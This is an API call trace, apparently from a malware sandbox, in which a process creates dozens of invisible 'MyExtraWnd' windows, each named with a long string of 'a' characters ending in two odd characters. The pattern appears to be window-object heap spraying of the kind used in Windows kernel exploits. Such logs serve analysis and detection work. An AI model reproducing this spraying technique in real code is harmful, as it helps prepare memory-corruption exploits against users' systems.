	[0072.539] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10288
	[0072.540] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1028a
	[0072.541] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1028c
	[0072.542] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1028e
	[0072.543] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10290
	[0072.544] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10292
	[0072.546] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10294
	[0072.547] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10296
	[0072.548] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10298
	[0072.550] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1029a
	[0072.551] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1029c
	[0072.552] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1029e
	[0072.553] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102a0
	[0072.554] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102a2
	[0072.555] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102a4
	[0072.557] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102a6
	[0072.558] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102a8
	[0072.559] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102aa
	[0072.560] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102ac
	[0072.561] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102ae
	[0072.563] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102b0
	[0072.564] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102b2
	[0072.565] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102b4
	[0072.566] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102b6
	[0072.567] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102b8
	[0072.568] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102ba
	[0072.569] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102bc
	[0072.571] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102be
	[0072.572] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102c0
	[0072.573] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102c2
	[0072.574] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102c4
	[0072.575] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102c6
	[0072.577] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102c8
	[0072.578] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102ca
	[0072.580] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102cc
	[0072.581] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102ce
	[0072.582] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102d0
	[0072.583] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102d2
	[0072.584] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102d4
	[0072.585] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102d6
	[0072.586] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102d8
	[0072.588] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102da
	[0072.589] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102dc
	[0072.590] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x102de
